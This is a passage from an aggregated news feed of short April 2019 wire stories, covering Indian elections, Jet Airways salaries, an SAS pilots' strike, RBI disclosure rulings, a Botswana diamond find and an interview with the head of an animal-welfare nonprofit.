to shame in a democratic country like India and if democracy has to survive, there should be some restrictions on people talking against the country," read the plea. Gaborone : , April 26 (IANS) One of the world's largest diamonds weighing a whopping 1,758 carats has been found in Botswana, a mining company said. A Canadian company running the Karowe diamond mine in central east Botswana said the retrieved stone was one of the largest diamonds ever to have been unearthed and the largest ever in the southern African nation, reports Xinhua news agency. The huge diamond that was retrieved on Thursday weighed nearly 352 grams and measured 83mm x 62mm x 46mm. "Lucara's technologically advanced, XRT diamond recovery circuit has once again delivered historic results," said Eira Thomas, Lucara's CEO. According to Lucara, since the new XRT plant was established, some 12 diamonds exceeding 300 carats have been sourced. This includes two stones that weighed over 1,000 carats. Lucara owns 100 percent of the Karowe Botswana mine and is a leading independent producer of large exceptional quality Type IIa diamonds, the company said in a statement. Botswana is the world's leading producer of high quality diamonds New Delhi, April 26 : Hinting that Jet Airways employees are unlikely to receive their salary dues till the stake sale process is completed, Vinay Dube, the CEO of crisis-struck Jet Airways, on Friday told airline employees that the lenders have so far provided no clarity on releasing emergency funds required to meet salary dues. In a letter to the employees, Dube also wrote that the consortium of lenders to the now-grounded Jet Airways have put the blame for the airline's collapse on shareholders, suggesting that the latter could have agreed to a resolution plan a long time ago. "While we will continue to support the lender-led bid process in our effort to leave no stone unturned it pains us to communicate that no clarity or commitment on salaries has been provided by any of our stakeholders," Dube said in his letter to the employees. He also described the company's efforts to take up the issue with the government at the highest levels, seeking its intervention and assistance, which, however, had not yielded positive results so far. "While on the one hand, we are being told to preserve the value of Jet Airways during the bid process, our colleagues, who are the very factor and value of the airline, have no choice to find employment elsewhere," the CEO said. Dube told the employees that it has tried to convince the state-run State Bank of India (SBI)-led consortium to release some funds for the over 20,000 employees who have not received their dues for months, while the bank-led resolution process for the airline is on. "We have old them repeatedly that our employees are facing grave hardships owing to non-payment of their salaries and that if this were to continue any longer, our employees will have no option but to find employment elsewhere," he said. "Unfortunately, the banks have said that they are unable to make any salary commitments. We face this reality despite our best efforts to potray the very real suffering that is being endured by each one of you". Thge Jet CEO also highlighted that fact in numerous board meetings of the airline payment of salary arrears was deliberated with no favourable outcome. Jet is in the midst of a bidding exercise where investors have been invited to turn around the airline by taking majority control. Private equity firm TPG Capital, Indigo Partners, National Investment and Infrastructure Fund (NIIF) and Etihad Airways are in the race to buy a stake in the grounded Jet Airways. SBI Caps, the merchant banking arm of SBI, is currently shortlisting the investors for submitting their financial proposal by April-end. Jet Airways owes the lenders over Rs 8,400 crore. New Delhi, April 26 : The Congress on Friday approached the Delhi Election Commission and filed a complaint against Chief Minister Arvind Kejriwal accusing him of giving communal and provocative statement in a bid to attract voters on communal lines and demanded the poll panel to bar him from campaigning. A delegation of the Delhi Congress led by former east Delhi MP Sandeep Dikshit met the Chief Electoral Officer at his Kashmere gate office in central Delhi. Speaking to media, Dikshit said, "We have submitted a memorandum to the Chief Electoral Officer, drawing his attention to Kejriwal's televised interview in which he has asked the Muslim voters not to vote for the Congress in the Lok Sabha elections as the party was not getting a single Hindu vote." He said: "Kejriwal's statement is highly communal and illegal in nature, and is intended to divide the Hindu and Muslim votes, and attract the voters along communal lines." Dikshit said that the party delegation has asked the poll panel "to take cognizance of Kejriwal's highly explosive statement and he should be banned from the election campaign". New Delhi, April 26 : Former Rajya Sabha member Shahid Siddiqui on Friday extended support to the Aam Aadmi Party (AAP) and its seven candidates in Delhi. Siddiqui, also a journalist, told the media here that he decided to support the party after seeing the "current political situation in the country" and the work done by the AAP for the common man. Addressing the media along with Siddiqui at the party office here, AAP leader and MP Sanjay Singh welcomed the support on the party's behalf. "I am here to protect the Constitution and the country," Siddiqui said, adding that he is not against any party. "I have decided to campaign for AAP in Delhi as AAP and (its chief Arvind) Kejriwal have done a lot for the common people of Delhi. We must vote seven seats to AAP to make Delhi a full state, for the development and growth of Delhi," he added. Siddiqui represented Uttar Pradesh from 2002 to 2008 in the upper house of the Parliament. He is a journalist and chief editor of Nai Duniya, an Urdu wmg src='http://iansphoto.in/web/photoimages_new/400/2019/04/26/7e389a37709c3381cd00b4e3539eadc0.jpg' hspace='10' align='left' width='171' height='100' data-title='Scandinavian Airlines. (Photo: Twitter/@SAS)' /> Stockholm, April 26 (IANS) A total of 1,409 Scandinavian Airlines (SAS) pilots from Sweden, Norway and Denmark went on strike on Friday, causing 673 cancellations so far and over 70,000 passengers affected. SAS warned that the continuing strike could affect a further 100,000 passengers over the weekend, reports Xinhua news agency. In the early hours of Friday, last-minute salary negotiations between SAS and the Swedish Air Line Pilots Association broke down. As a result, 492 Swedish SAS pilots went on strike, followed by 545 Norwegian and 372 Danish colleagues. "It is deeply regretful that the pilots strike will have a negative impact on our customers. SAS is prepared to continue to negotiate, but if the requirements were to be met, they would have very negative consequences for the company," SAS Director of Communications Karin Nyman said. SAS is the leading airline in Scandinavia, operating a third of all flights to and from the region. According to SAS, about 70 percent of the company's flights are affected. Flights operated by SAS Ireland and SAS partner airlines will not be affected. Friday's strike follows unsuccessful salary negotiations between SAS pilots and their employer. According to media reports, an 11th-hour bid offered on Thursday night included a salary increase of 2.2-2.3 percent, significantly lower than the 13 percent the pilots' union is demanding. SAS has offered passengers travelling on Friday, Saturday, Sunday and Monday the opportunity to rebook their journey free of charge. It's unclear how long the strike will last, so passengers travelling in late April and early May are advised to check for updates on the situation. Shimla, April 26 : Himachal Pradesh Chief Minister Jai Ram Thakur on Friday said that Congress President Rahul Gandhi's dream of becoming the Prime Minister would not be realised this year as the people had made up their minds to support an experienced and capable leader. Speaking at a public meeting in Dharamsala for BJP candidate Kishan Kapoor, he said: "The people are aware of the fact that Gandhi is politically immature and inexperienced. The BJP, on the other hand, has the strong leadership of Narendra Modi, who has taken several strong decisions and visionary steps for the country." Addressing another rally in Hamirpur, the Chief Minister said that BJP candidate Anurag Thakur would register his fourth win from the constituency on account of his commendable development work. Thakur said: "As a member of Parliament, I have done my best to not just raise the issues of my constituency and my state in Parliament, but also bring some great infrastructure projects to my people. "With the support of the people, we could bring AIIMS in Bilaspur, Central University in Dehra, five Kendriya Vidyalayas, PGI Satellite Centre and Mother and Child Care Centre in Una and a Medical College in Hamirpur." Thakur said that the Sansad Khel Mahakumbh was his effort to wean away youth from negative influences and bring positivity into their lives. "With the support of Prime Minister Modi, we have completed surveys for rail line till Hamirpur and also to Bilaspur and soon you will see all parts of our constituency connected by road and rail," Thakur said. Colombo, April 26 : Life has again turned bitter for refugees from Afghanistan, Pakistan and Iran in the wake of the Easter Sunday bloodbath in Sri Lanka. Ever since the suicide bombings killed over 250 people, most of the 800 refugees from the three Muslim countries living in Negombo, one of the three cities targeted on April 21, have been forced to vacate their homes and take shelter with the police. The refugees accept that Sri Lankans must indeed be angry that innocent people praying in churches -- besides others -- were targeted by Islamic radicals but ask what their crime was, the Daily Mirror reported. "We understand how sad and angry they must be feeling for the loss of their relatives. But we also hate terrorism. We love peace and freedom, which is why we came to peace-loving Sri Lanka," the daily quoted Hafza, a Pakistani national, as saying. Hafza, a Christian from predominantly Muslim Pakistan, moved to Sri Lanka to start a new life after suffering persecution there. After the bombing of Negombo's St. Sebastian's Church, some devastated Sri Lankan Christian families started attacking the asylum seekers and forced them to leave the area. "I was cooking when a group of people arrived and shouted at us to leave. Then, the house owner said if we don't leave, he would also be attacked by them. We just had to leave with our kids," Hafza recalled. All the refugees had been living in Negombo, north of Colombo, with the assistance of UNHCR in rented houses for years, without facing any problems. Once the Islamic State claimed responsibility for the Sri Lanka carnage, everything changed. The Mirror said that amng the asylum seekers were those from the Ahmadiyya Muslim community, who face persecution in Pakistan. After they vacated the houses, they were sent in a group to a mosque for safety. Another group of people was provided with security inside a police station, the daily said. "When we visited them, infants were sleeping on a thin bed sheet on the floor while adults were sitting on some plastic chairs and dozing off," the report said. Raja Kamran, a Pakistani who came to Sri Lanka in January 2018, said he had thought he would have had a great future ahead. "But now all our hopes are shattered." "House owners have already closed the doors on us. There is no guarantee for life outside," he added. And the UNHCR, he says, does not seem to care. New Delhi, April 26 : Google on Friday selected 18 young scientists from India who will compete in the 2019 Google Science Fair contest for the winning prize of $50,000 and other rewards. The global science competition inspires teenagers in the age group of 13-18 years to solve real-world problems with science, technology, engineering and maths. This year's competition saw thousands of entries from more than 100 countries representing some innovative ideas in science and technology, Google said. From addressing health-related issues to creating more eco-friendly adhesives and fuel to making our water safe to drink, the young students from India presented novel and creative ideas. The entries were evaluated based on the creativity, scientific merit and potential for impact of each submission to narrow down the entries to 100 finalists globally, Google said, adding that the regional finalists will receive a prize including Chromebook and goodies from the company. Judi Sanzo with her dog Stella, a rescue from the Holy fire is the president and CEO of the Rancho Coastal Humane Society, a local nonprofit that provides for the rescue and care of homeless animals, wildlife rehabilitation and community outreach. John Gibbins/The San Diego Union-Tribune Judi Sanzo served on the board of directors for the Rancho Coastal Humane Society in Encinitas for five years before taking on her current role as president and CEO of the nonprofit organization that rescues and cares for animals. An attorney with a private practice, she was already rescuing animals and an advocate of adoption before joining the organization. My husband and I were rescuing dogs long before I was invited to join the board. In my private law practice, I advised nonprofit organizations on governance, compliance and operational issues. I saw working at RCHS to be the perfect opportunity to join my profession with my passion, she says. As an adopted child, I understand the importance of a stable home and loving family. At RCHS, we adopt out more than 1,000 dogs, cats, and rabbits each year. How could I resist a chance to work full-time in an animal welfare organization where our primary goal is to make lifelong relationships? Part of the work in helping to build those relationships includes education, community outreach, their Animal Safehouse program and wildlife rehabilitation center. Sanzo who has four adopted Yorkshire Terriers with her husband, Mitch Dembin took some time to talk about her work at Rancho Coastal Humane Society and her passion for animals. Q: Tell us about Rancho Coastal Humane Society. A: Rancho Coastal Humane Society (RCHS) was founded by Maria K. Lloyd in 1960. Interstate 5 was a dirt road and our property was home to dogs, cats, birds, goats, sheep, and even a burro named Milton. We are best known for our pet adoption and humane education programs, but we recognize the importance of the human-animal bond, so we created our Animal Safehouse Program, community pet food banks, and outreach programs that offer a helping paw to people in crisis who need to keep their beloved pets safe, healthy, and by their sides. The Animal Safehouse Program was originally developed to help victims of domestic violence flee from their abusers. More than half of domestic violence survivors report that they did not leave a violent household because local shelters would not accept their pets and the survivors would not leave them behind with an abuser. We provide temporary shelter, medical care, food and supplies, and other community resources to pets of domestic violence victims, free of charge. We also work with domestic violence counselors and advocates to reunite pets with their owners as soon as they are safe from harm. Weve also recently expanded the program to include pets of veterans who require in-patient care at the VA San Diego Healthcare System, so that veterans can receive treatment in the hospital while we look after their pets. Weve also discovered that local seniors, who are encouraged to adopt pets for comfort and companionship, require help when a medical crisis arises. This program also helps seniors who are taken from their homes by ambulance, by coordinating with other agencies to provide temporary care until the senior owner can be released from the hospital. Recently, weve returned to our wild side, opening a wildlife center that treats and releases sick, injured or orphaned songbirds, birds of prey, squirrels, rabbits, ducks, and even baby skunks. Q: What are your goals/vision for the organization? A: We are desperate to improve our medical facility. We have submitted plans to the City of Encinitas for a new building dedicated to veterinary care, a new education center and several small structures that would complement our little yellow house that we still use for administration. We need to grow to meet the needs of the community, human and animal. Q: Is it fair to say that youve long been someone who loves animals? Where did this love begin? A: Her name was Becky, and she came to our house unannounced. Dad did not tell mom that a business associate was bringing a Beagle puppy as payment on an outstanding account. Becky ate the arm of a couch while we went shopping for pet supplies! That was nearly 50 years ago. Q: Rancho Coastal has a number of programs, including humane education, pet assisted therapy, and a wildlife center, among others. Can you tell us about your humane education program? A: Our education program has several components. For pet owners and wildlife enthusiasts, we have workshops, lectures, and training events. We even have dog yoga and cat yoga classes. For children, we have Kids Community Service, animal camps for children 6 to 14 years old, scheduled during school breaks, and the Happy Tales Reading Program, where children read aloud to our shelter pets to gain confidence in reading and comfort from furry companions. Q: What can you tell us about the pet-assisted therapy program? How does it work? A: Our Pet-Assisted Therapy program currently has 11 dedicated volunteers and 13 certified therapy pets who visit local healthcare facilities on a monthly basis, and college campuses during final exams. ... We are in the process of expanding this program to incorporate empathy lessons for children and increasing the list of hospitals, assisted-living facilities and campuses our volunteers will visit. Were also excited to launch a pet loss support program, where pet owners suffering grief from the loss of their companions can find care, assistance and emotional support. Q: How does pet assisted therapy help people? A: University of California, Los Angeles researchers have concluded that the simple act of petting animals releases an automatic relaxation response and, when humans interact with animals, it promotes the release of serotonic prolactin and oxytocin, all hormones that can play a part in elevating moods. In other words, pet-assisted therapy helps to reduce stress, lower high blood pressure and improve emotional well-being. Q: How does your wildlife center function? A: Our San Diego Wildlife Center rehabilitates and releases sick, injured and orphaned wildlife. The center is located in Carlsbad and serves the North County community. Our patients are brought to us by concerned neighbors and we offer guidance on how to collect and transport injured or abandoned wildlife. ... Our center works as a hospital, providing immediate emergency treatment and prolonged care during recovery. When our patients are well enough, we transfer them to pre-release cages where they will learn to fend for themselves and become desensitized from human interaction. When ready, we release wildlife back into the community where they were found. Q: Why is your work with animals important to you? A: I believe that we have a special responsibility to animals that we have domesticated. We made them dependent on us, and it is on us to provide them with safe, loving homes. We have encroached upon the natural habitat for our local wildlife which sometime leads to animals becoming sick or injured. I believe it is our responsibility, as a community, to assist wildlife when we can and participate in conservation efforts. Q: What has your work at Rancho Coastal taught you about yourself? A: I have always been a problem solver. See a problem, fix it. I am learning to be more patient because human-animal bonding takes time. Q: What is the best advice youve ever received? A: ... Try not! Do. Or do not. There is no try! Yoda, of Star Wars Q: What is one thing people would be surprised to find out about you? A: I was the director of social services at the Charles Street Jail in Boston, Mass., one of the oldest jails in the U.S. It is now a luxury hotel. Q: Describe your ideal San Diego weekend. A: Attending a gig with my husbands band (Limited Jurisdiction), followed by dinner at one of our favorite restaurants. And, yes, goofing around with our pets! What I love about Encinitas ... I love its pet-friendliness, the laidback attitude, and strolling through downtown Encinitas. The support we receive from the community is overwhelming. Guwahati, April 26 : In what could be described as post-poll violence in Assam, two journalists have been targeted by unidentified miscreants in two separate incidents in the state . Late on Thursday, while the a correspondent of a local newspaper, Rajen Deka, was attacked and injured seriously by miscreants at Mukalmua in Nalbari district, Upasana Barua Goswami of News18 Assam/Northeast was physically assaulted in Tinsukia town of eastern Assam. Deka was reportedly thrashed by some individuals at Mukalmua, who cited one of his recent media reports. Polling for the 14 Lok Sabha seats in Assam have taken place in three phases with the final phase being held on April 23. Assam Chief Minister Sarbananda Sonowal said on Friday that the state government is committed to thge safety and security of journalists. He described the atrake on the two media persons as highly condemnable and said the state government would take strict action against the perpetrators. Sonowal also directed Assam Director General of Police (DGP) Kuladhar Saikia to take immediate steps in this regard. The Journalists' Forum Assam (JFA) has expressed serious concern over the attacks and urged the authorities to take stringent action against the culprits. "We reiterate our old demand for a special protection law to safeguard the scribes across India. Moreover, we urge the media fraternity to get united and pursue quality journalism as it becomes need of the hour," said a statement issued by JFA President Rupam Barua and Secretary Nava Thakuria. Meanwhile, the state police have arrested at least four persons in this connection and are continuing their investigations, sources here said. Patna, April 26 : Two high-profile Bharatiya Janata Party (BJP) leaders -- Union Ministers Ravi Shankar Prasad and Raj Kumar Singh -- on Friday filed their nomination papers from Bihar. While Prasad filed his nomination papers from Patna Sahib constituency, Singh did the same from Ara constituency in the state. Prasad, a Rajya Sabha member, was accompanied by senior party leaders while filing his nomination papers. Prasad replaces actor-turned-politician Shatrughan Sinha as the BJP nominee for the seat. Sinha had contested from this seat in 2014 general elections. Sinha will, however, be contesting again from the Patna Sahib constituency but on a Congress ticket. He switched loyalties recently. Before filing nomination, Prasad held a big meeting here. Among the attendees was Yoga Guru Baba Ramdeo, who blessed him. This is first time that Prasad is contesting the Lok Sabha polls. Singh filed nomination papers from Ara with much fanfare. He was accompanied by various BJP leaders and a large number of supporters. New Delhi, April 24 April 26 : After being rapped by the Supreme Court, the Reserve Bank of India (RBI) is likely to withdraw its 2016 policy of non-disclosure of information on big loan defaulters under the Right to Information (RTI) Act. The move will allow the central bank to disclose the annual inspection reports of the banks and the list of wilful defaulters under the RTI Act. The Supreme Court on Friday ruled that the RBI was duty bound to disclose information related to wilful defaulters. The banking regulator has not officially responded to the SC order so far. Sources said the RBI would discuss the SC order to decide the next course of action on disclosure of information under the RTI Act. An email sent to the apex bank did not elicit any response. The RBI also did not reveal whether it would straightaway share the information sought by the RTI applicants or will seek time to review the SC order before acting upon it. According to another source, considering that the SC has said it was giving the RBI "one last opportunity", there is not much that RBI could do but abide by the order and withdraw its 2016 application on non-disclosure policy for RTI query. Any laxity will invite contempt of court proceedings against the central bank. The apex court, while directing the RBI to withdraw its non-disclosure policy, warned that any future violation of the transparency law would be taken "seriously". The SC held that the RBI's non-disclosure policy was in violation of a top court order passed in 2015, which directed the central bank to disclose information under the provisions of the RTI Act. Opinions were divided on whether internal assessment reports should be made public. Former RBI Deputy Governor Rama Subramaniam Gandhi told IANS: "It is a standard practice all over the world that bank supervisors keep the inspection report confidential. Public disclosures can undermine public confidence in the banks through uninformed and out of context interpretations." He also said that public disclosures will not help the banks recover money from the defaulters. However, proxy advisory and corporate governance firm InGovern said that the SC order was a war on non-performing assets (NPAs) and that being shareholders of the public sector banks, people had the right to know such information. "It (the order to disclose information) may not help the banks, but it will definitely help the investors in the banks and the taxpayers in general if they get to know about the wilful defaulters and what exactly the RBI said in the inspection reports. It will surely help the shareholders track down the divergences made by many banks on NPA dislosures," said Sriram Subramanyam, Managing Director at InGovern. "Taxpayers are the shareholders in PSU banks and they are paying for the wilful defaulters. So they have the right to know what is the quantum of NPAs and who are the wilful defaulters. This should be seen as a war on NPAs," he said. This is for the second time in a month that the SC has struck down some of the key decisions of the RBI taken during its former Governor Urjit Patel's tenure. On April 2, the apex court declared RBI's February 2018 NPA circular as "ultra vires," mandating insolvency proceedings. In that order, the SC quashed the February 12, 2018 RBI circular which gave the lender banks six months' time to resolve their stressed assets or move under insolvency proceedings against defaulters in loans worth over Rs 2,000 crore. With regard to the non-disclosure policy, the case was filed after the petitioners were denied copies of inspection reports of ICICI Bank, Axis Bank, HDFC Bank and State Bank of India from April 2011 till December 2015. They had sought the same under the RTI Act in December 2015. In January this year, the court had issued a contempt notice to the RBI. (Anjana Das can be contacted at anjana.d@ians.in) Thiruvananthapuram, April 26 : A digital version of literary works on Indian Air Force (IAF) Wing Commander Abhinandan Varthaman compiled by the UAE-based Industrialist and Aries Group Chairman Sohan Roy was released here on Friday. The digital volume includes 25 poems composed in the various south Indian languages, English and Hindi. "When companies take the responsibility of the digital release of literary works, it takes the burden of huge expenses away from the writers' shoulders. By this idea, we can get back our great era of literature and the creativity of our writers and poets would be greatly enhanced," Roy said at the launch. The Aries Group has come forward with this digital initiative in an effort to boost Malayalam literary writing which has been affected by the huge expenses of printing, as well as by the lack of interest in such literature among the young generation. These poems can be read using the app POETROLL which is also downloadable from Google Play Store for Android users. Apple users will soon be able get it in the App Store. New Delhi, April 26 : Leading American attorney Mark Bravin on Friday said that third party funding should be encouraged in arbitration in India towards evolving a progressive ecosystem. "Third party funding should be encouraged as it empowers parties who can't afford the procedures but have a right to justice," Bravin said at a discussion herev organised by the Nani Palkhivala Arbitration Centre. "Third-party funders are also very careful in assessing the probability of winning the arbitration case and, therefore, it's a win-win for everyone. It is a common practice in countries like the United States, United Kingdom and France, and is rapidly expanding." Bravin elaborated on India's growing role and contribution to the global arbitration ecosphere. He also gave insights into the practice of restricting foreign arbitrators from practicing in India and said that this will put India behind in the curve of global arbitration practices and can make arbitration even more difficult for lawyers based out of India. New Delhi, April 26 : The Congress on Friday questioned the presence of NDA alliance partners during the filing of nomination by Prime Minister Narendra Modi, saying the BJP's confidence had declined over the past five years. "The BJP has lost its confidence. Compare Modi's 2014 nomination with his 2019 nomination. This year, he invited all his alliance partners because the party is realising that it will not get a majority and may have to rely on its allies," said Congress spokesperson Rajeev Shukla. The Congress leader said that the PM was aware that his party was not doing well after the three phases of polling that covered 303 seats. "That's what forced him to appeal to the people to come out and vote for him," he said. Shukla claimed that the five years of the Modi government were marked by non-performance. "His was not a result-oriented government. He couldn't deliver on any promise he made in his 2014 campaign," he said. He also criticised Modi's Pradhan Mantri Adarsh Gram Yojana. "Modi had adopted four villages under the Pradhan Mantri Adarsh Gram Yojana, but an RTI query revealed that not a single penny was spent on the development of these villages," said Shukla. He added that in Varanasi too the condition of weavers had worsened over the past five years. Mumbai, April 26 : After days of recce in Romania, the makers of "Sadak 2" have decided to shoot the film in India. Actress Pooja Bhatt, who starred in the original 1991 film "Sadak" and will also be a part of the sequel, took to Twitter to share the reasons behind the change in the shooting locations. She said: "Romania is a stunningly beautiful country. We were very happy with the locations but logistics and emotional IQ of local crew are key factors in determining a location for a film. "Eventually no one is bigger than a film and the film demanded we shoot only in India." "Sadak 2" will see filmmaker Mahesh Bhatt back in the director's chair after almost twenty years. The film also features actors Alia Bhatt , Sanjay Dutt and Aditya Roy Kapur. New Delhi, April 26 : The Delhi High Court on Friday pulled up the state government for its lackadaisical approach on the National Food Security Act (NFSA) and asked the concerned senior official of the Food Supplies and Consumer Affairs Department to appear before it on May 9, the next date fixed for the hearing. The court order came on the Delhi government's reply sought in a contempt petition filed by the Delhi Rozi Roti Adhikar Abhiyan. In its main petition, the organisation sought disbursal of subsidised foodgrains to beneficiaries under the NFSA without Aadhaar cards. Under the NFSA, five kgs of foodgrains per person is provided each month at Rs 1-3 per kg to over 80 crore people. On September 1, 2017, the High Court directed the Delhi government to frame rules and operationalise all provisions of the NFSA in a time-bound manner. In its contempt petition, the NGO said that the Delhi government had not complied with the order till date. "It has not framed rules for implementing the grievance redress and accountability provisions under the NFSA and no social audit has been undertaken. There is no functional State Food Commission in Delhi," the petition said. Proper implementation of the NFSA is crucial to ensure food security for the poor and the marginalised, the organisation said. A Division Bench of Chief Justice Rajendra Menon and Justice Anup Jairam Bhambhani on Friday said that it was completely dissatisfied by the Delhi government's reply. It noted that the government's reply showed that the grievance redressal and accountability rules had not been promulgated, more than five years after the law was passed and 19 months after the Delhi High Court order. "The government's affidavit shows that the file regarding framing of rules has just been transferred between various departments and ministries, with no concrete action taken," the bench observed. It also noted that the concerned officer of the Food Supplies and Consumer Affairs Department had failed to attend the hearing. Taking strict note of the non-compliance, the court ordered the officer to appear before it on May 9. New Delhi, April 26 : The Supreme Court on Friday gave the RBI "one last opportunity" to disclose annual inspection reports of banks as it just stopped short of issuing a contempt notice against RBI Governor Shaktikanta Das, and ordered the Reserve Bank of India to diclose the wilful defaulters' list under the Right To Information Act. The top court also ordered the central bank to withdraw its non-disclosure policy, which the court concluded is in violation of the apex court's judgment in 2015. Taking a serious view of the continued defiance, the court came down heavily asking the RBI to make full disclosure of its annual inspection reports on the financial health of banks, including position of NPAs, and also withdraw its disclosure norms as it came in the way of making public informations on the state of banks under the RTI. A bench of Justice L. Nageswara Rao and Justice M.R. Shah said the banks are "duty bound to furnish all information relating to inspection reports and other material apart from the material that was exempted in para 77 of the judgement. Any further violation shall be viewed seriously by this Court." Pronouncing the judgment, Justice Nageswara Roa said, "Though we could have taken a serious view of the Respondents (RBI and the Banks) continuing to violate the directions issued by this Court, we give them a last opportunity to withdraw the disclosure policy insofar as it contains exemptions which are contrary to the directions issued by this Court." Referring to paragraph 77 of the December 16, 2015 judgement, the court said that the only exception that was carved out by the top court in its 2015 judgment was relating to the disclosure of information having bearing on "security of the State." Referring to the new disclosure policy that was uploaded by the RBI on April 12, 2019 replacing the earlier policy of November 30, 2016, the court said, "The respondents (banks) in our opinion, have committed contempt of this court by exempting disclosure of material that was directed to be given by this court." However, it recorded the submission by RBI that the new policy would be deleted from its website. The top court by its December 16, 2015, judgement had said that banks and their apex regulatory body Reserve Bank of India could not withhold information on defaulters, losses and alleged illegalities of the banks by invoking the exception under the Right to Information Act. "The ideal of 'Government by the people' makes it necessary that people have access to information on matters of public concern. The free flow of information about affairs of Government paves the way for debate in public policy and fosters accountability in Government. It creates a condition for 'open governance' which is a foundation of democracy", the bench of Justice M.Y.EqbalAand Justice C. Nagappan (since both retired) had said in their 2015 judgement. The RBI, as per 2015 judgement, was supposed to disclose the annual audit report of the banks, status of NPAs and action taken there on. The top court by its 2015 order had asked the RBI to share information on the annual audit of the banks including on NPAs under the Right to Information Act. However, this was stalled after RBI introduced disclosure norms that blocked the disclosure of information on the financial health of the banks under the RTI. An RTI activist Subhash Chander Agrawal had moved the top court seeking contempt action against RBI Governor for not complying with its 2015 judgement. Girish Mittal and Agrawal had moved the top court for contempt action against the RBI not complying with the court's direction to disclose information under the Right to Information (RTI) Act. The petitioners had claimed that RBI and its former Governor Urjit Patel had "wilfully and deliberately" disobeyed the top court's judgement asking the central bank to disclose information under the RTI Act. The court rejected the contention of the apex bank and others that its (top court's) December 16, 2015 judgement needs reconsideration saying "We are not persuaded to accept the submission ... that the judgment dated 16.12.2015 requires reconsideration as we cannot consider the said submission while deciding the contempt petitions." The two petitioners sought initiation of contempt of court action against former Governor for not disclosing information as directed by the top court. One of the contempt petitions filed by Girish Mittal said that RBI refused to provide information sought about the inspection reports of some banks. In December 2015, the petitioner under the RTI Act had sought certain information which included copies of inspection reports of ICICI Bank, Axis Bank, HDFC Bank and State Bank of India from April 2011 till December 2015. The petitioner had also sought copies of case files with file notings on various irregularities detected by RBI in case of Sahara Group of companies and erstwhile Bank of Rajasthan by these entities themselves and their known/unknown promoters. However, RBI denied the information in January 2016 that such information is exempted under Section 8(1)(e) of the RTI Act and Section 45NB of the Reserve Bank of India Act. The petitioners contended that top court in 2016 while directing disclosure of a very similar type of information sought under the RTI Act had observed RBI is clearly not in any fiduciary relationship with any bank. The petitioners argued that the responses of RBI are in complete violation of the top court judgement by which it was held that RBI ought to act with transparency and not hide information that might embarrass individual banks and it is duty bound to comply with the provisions of the RTI Act and disclose the information sought. Kolkata, April 26 : West Bengal's ruling Trinamool Congress on Friday approached the Election Commission (EC) alleging "BJP" was written under the party's symbol during commissioning of electronic voting machines (EVMs) in Barrackpore parliamentary constituency due to which the process had to be stopped. As per the EC rules, no party's name or initial is supposed to be printed on the balloting unit. "We have received a complaint from Trinamool that initials 'BJP' were written below the symbol, which was noticed during EVM commissioning. The process has been stopped because it is mandatory that agents of all political parties are satisfied," Additional Chief Electoral Officer (CEO) Sanjay Basu told reporters here. Trinamool's delegation led by state Education Minister Partha Chatterjee brought the EVM glitch to the notice of the Commission. "We have demanded immediate intervention so that there is no reflection of this in the coming elections. Also we are hearing that there is a conspiracy of hacking the EVMs," Chatterjee said. "We have informed the Election Commission. The final decision will be taken tomorrow (Saturday)," Basu added. Two California Highway Patrol officers trying to arrest a robbery suspect who led officers on a pursuit from Orange County were hit by the mans car and injured in Solana Beach early Thursday, April 25, authorities said.The officers, who were outside of their cars when they were hit, opened fire at the suspect, authorities said. He was apparently not struck by the gunfire. Sheriffs officials identified the suspect Thursday evening, April 25, as Frankie John Arellano Garduno, 29. He was being held Thursday, April 25, at the Vista Detention Center in lieu of $150,000 bail on suspicion of two felony counts of assault with a deadly weapon on a peace officer causing great bodily injury and felony evading. After being shot at and allegedly striking the officers with his car, Garduno drove several miles before crashing off La Floresta near Linea Del Cielo and abandoning the vehicle, San Diego County Sheriffs Lt. Michael Blevins said. Garduno was located by officers and arrested around 5:50 a.m. Investigators allegedly found a gun near the site where the car was abandoned, Blevins said. The two officers hit by the car were transported to the hospital with what were described as moderate injuries, including one who suffered a broken ankle, the CHP said. Their names were not released. According to Blevins, the shooting portion of the incident is being investigated by the Sheriffs Departments homicide unit, which routinely investigates officer-involved shootings in its jurisdiction. It wasnt immediately clear how many officers opened fire. The chase began after witnesses called Orange County authorities about 4:20 a.m. to report seeing a man with a gun in a Chevron gas station on Alicia Parkway near Interstate 5 in Laguna Hills, Orange County Sheriffs Department spokeswoman Carrie Braun said. Deputies would later learn that the man reportedly had tried to hold up the gas station clerk, but fled empty-handed when customers interrupted the failed heist. Witnesses reported that the man took off in a black Dodge Charger headed toward I-5. A deputy who happened to be in the area spotted a Charger run a red light the only traffic light between the gas station and the nearby freeway and tried to pull over the driver, who instead jumped on the freeway headed south, Braun said. Orange County deputies chased the car south to around the San Diego County line, where California Highway Patrol officers took over the pursuit. CHP officers attempted to use a spike strip to stop the car near Harbor Drive in Oceanside, but it was unsuccessful, Blevins said. The guy is off and on the freeway, exiting and getting back on. Then he exits at Lomas Santa Fe, CHP Officer Tommy Doerr said. About a mile east of the freeway, CHP officers purposely crashed into the car known by law enforcement as a vehicle intervention technique or PIT maneuver. The tactic worked, and CHP officers attempted to arrest the suspect. Garduno refused to comply with instructions to exit his vehicle. He drove his vehicle away and struck two officers with his vehicle as he fled, Blevins said in a statement Thursday evening, April 25. Fearing for their safety, CHP officers shot at Garduno in an attempt to prevent him from further injuring any officers. Garduno was not struck by the gunfire and he was able to drive off. Officers found the vehicle abandoned a couple miles away around 5:11 a.m., sheriffs Lt. Amber Baggs. After a search of the area, Garduno was arrested around 5:50 a.m. Panaji, April 26 : Hearings ended on Friday in the appeal filed by the CBI against the acquittal of two beach-shack workers accused in 2008 of sexually assaulting and causing the death of British teenager Scarlett Keeling, the agency's special prosecutor said. "The matter is closed for judgement," Central Bureau of Investigation's special counsel Ejaz Khan told reporters in Panaji. The CBI last year challenged the acquittal by the Goa Children's Court of two beach-shack workers Samson D'Souza and Placido Carvalho, who were accused of sexually assaulting 15-year-old Scarlett Keeling and leaving her to die on Anjuna beach in 2008. D'Souza and Carvalho had been charged under Indian Penal Code sections 304 (II) (culpable homicide not amounting to murder), 354 (assault or use of criminal force on a woman with an intent to outrage her modesty) and 328 (administering stupefying drug with an intent to cause hurt). During the hearing conducted at the High Court bench here, the CBI had argued that the Goa Children's Court had erroneously acquitted the accused based on technicalities even as D'Souza and Carcalho's defence lawyers claimed that there was no direct evidence to link them to the crime. The sexual assault and subsequent death of Keeling had put the spotlight on the issue of safety of women in Goa, which attracts more than seven million tourists every year, half a million being foreign nationals. New Delhi, April 26 : The Supreme Court on Friday refused to interfere in the Election Commission's order imposing a ban on the release of a film on Prime Minister Narendra Modi during the ongoing elections. After the the apex court order, the movie can be released only after voting in the last 